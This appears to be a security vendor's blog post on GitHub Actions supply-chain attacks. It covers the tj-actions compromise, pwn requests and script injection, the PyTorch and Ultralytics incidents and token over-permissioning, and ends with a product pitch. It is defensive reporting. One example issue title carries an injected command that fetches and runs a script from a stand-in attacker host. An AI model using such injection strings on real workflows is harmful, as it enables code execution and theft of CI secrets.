GitHub Actions runs on over 90 million repositories, and its workflow files have become one of the most consistently exploited layers in the software supply chain. In March 2025, attackers compromised the popular tj-actions/changed-files action — used by more than 23,000 repositories — and modified its code to dump CI/CD secrets directly into build logs. The vulnerability, tracked as CVE-2025-30066, was traced back to a stolen personal access token that let attackers push a malicious commit and retag every historical version of the action, so even pinned SHA references pointed at compromised code. That incident wasn't an outlier. From the December 2022 PyTorch self-hosted runner compromise to the December 2024 Ultralytics PyPI poisoning, GitHub Actions workflows have repeatedly given attackers a path from a pull request to production secrets. Here's what actually went wrong in each case, and what it means for teams running CI/CD at scale.
What made the tj-actions/changed-files compromise possible?
The compromise was possible because a single stolen credential gave attackers write access to retag every published version of the action, defeating the version-pinning practice most teams relied on for safety. Security researchers at StepSecurity discovered on March 14, 2025 that tj-actions/changed-files had been modified to execute a Python script that scraped runner memory for CI secrets — AWS keys, npm tokens, database credentials — and printed them to workflow logs in base64-encoded form. Because many downstream workflows referenced the action by a floating tag like @v35 or @v44 rather than a commit SHA, they automatically pulled the malicious update on their next run. The root cause traced further upstream: the attacker had first compromised reviewdog/action-setup@v1, a dependency used in tj-actions' own release pipeline, and used that foothold to obtain the personal access token that let them rewrite tj-actions' git tags. GitHub revoked the compromised token and tj-actions purged the malicious commits within about 12 hours of disclosure, but any workflow that ran during that window had its logs exposed to anyone with read access to the repository.
How do "pwn request" vulnerabilities let attackers hijack pull_request_target workflows?
Pwn request vulnerabilities happen when a workflow triggered by pull_request_target checks out and executes untrusted code from a fork while still running with the base repository's elevated permissions and secrets. GitHub's own Security Lab first documented this pattern in August 2021, showing that a workflow which does actions/checkout on github.event.pull_request.head.sha inside a pull_request_target trigger effectively hands attacker-controlled code the same GITHUB_TOKEN and secret access as a trusted maintainer. A related and even more common variant is script injection: workflows that interpolate untrusted values — like ${{ github.event.issue.title }} or a pull request's branch name — directly into a run: shell step. Because GitHub Actions performs this substitution before the shell ever sees the command, an attacker can title an issue "; curl attacker.com/steal.sh | bash # and have it execute as a literal shell command. Security Lab's original research flagged this pattern across hundreds of public repositories, and it remains one of the most frequently rediscovered classes of GitHub Actions vulnerability in bug bounty reports today.
Why did GitHub Actions cache poisoning put PyTorch at risk?
GitHub Actions cache poisoning put PyTorch at risk because the project's self-hosted runners executed workflows triggered by outside contributors without adequately isolating them from the network and file system the runners shared with trusted jobs. In December 2022, PyTorch disclosed that its pytorch-nightly PyPI package had been compromised: attackers exploited a self-hosted CI runner reachable through the project's GitHub Actions setup to register a malicious dependency named torchtriton, which PyPI's namespace didn't protect against. Because the compromised package matched an internal dependency name that PyTorch's own build expected, pip installed the attacker's version instead, exfiltrating SSH keys, environment variables, and system information from anyone who installed the nightly build between December 25 and December 30, 2022. Researcher Adnan Khan later demonstrated a broader version of this problem in 2023: GitHub Actions caches created by trusted workflows can be poisoned by an attacker's pull request and then restored by a subsequent trusted run, letting a fork-based contributor inject malicious build artifacts into a maintainer's release pipeline without ever needing direct write access to the repository.
What happened in the Ultralytics PyPI supply chain attack?
The Ultralytics attack happened because a GitHub Actions workflow was tricked into publishing a poisoned package to PyPI through a manipulated pull request. On December 4, 2024, researchers found that version 8.3.41 of the popular ultralytics computer vision library — with over 60 million downloads — had been published containing a cryptominer payload. The attacker exploited the project's .github/workflows/ publish pipeline, which ran on pull_request_target and rebuilt package artifacts using content influenced by an untrusted branch, allowing injected build steps to slip a malicious download function into the published wheel before it was signed and pushed to PyPI with legitimate, automated credentials. Ultralytics pulled the compromised release within hours and published 8.3.42 to remediate, but the incident showed that even a downstream PyPI release process — not just the GitHub repository itself — can be an attack surface once the CI pipeline that touches it lives inside vulnerable Actions workflows.
Why does GITHUB_TOKEN over-permissioning make every other bug worse?
GITHUB_TOKEN over-permissioning makes every other bug worse because it turns a contained script injection or dependency compromise into full repository takeover. By default, GITHUB_TOKEN was granted read-write access to contents, packages, and pull requests unless a repository owner explicitly restricted it — GitHub only changed the default for new repositories to read-only in February 2023, meaning years of existing repositories retained broad permissions unless someone manually edited their settings. A workflow that doesn't declare an explicit permissions: block can still let a successful injection push new tags, modify branch protection-adjacent settings, or publish packages under the project's identity. In the tj-actions case, this is exactly what compounded the damage: the stolen token wasn't scoped to a single action's release process, so it could rewrite tags across the entire repository's history. OpenSSF's scorecard project flags missing least-privilege permissions: declarations as one of the highest-frequency findings across public GitHub Actions workflows it scans, which tracks with what shows up in real incident postmortems.
How Safeguard Helps
Safeguard maps GitHub Actions workflows into the same reachability analysis it applies to application dependencies, so a vulnerable or compromised action is flagged based on whether your pipeline actually invokes the affected code path — not just whether it appears in your .github/workflows/ directory. Griffin AI correlates workflow permissions, pull_request_target triggers, and third-party action pinning practices to surface pwn-request and script-injection patterns before they ship, then generates auto-fix pull requests that pin actions to commit SHAs and scope GITHUB_TOKEN permissions down to least privilege. Safeguard also generates and ingests SBOMs that include your CI/CD action dependencies alongside application packages, so when an incident like the tj-actions compromise breaks, you can immediately query which of your repositories referenced the affected version rather than manually auditing every workflow file. Security teams get a single view of both their application supply chain and the automation pipeline that builds and ships it.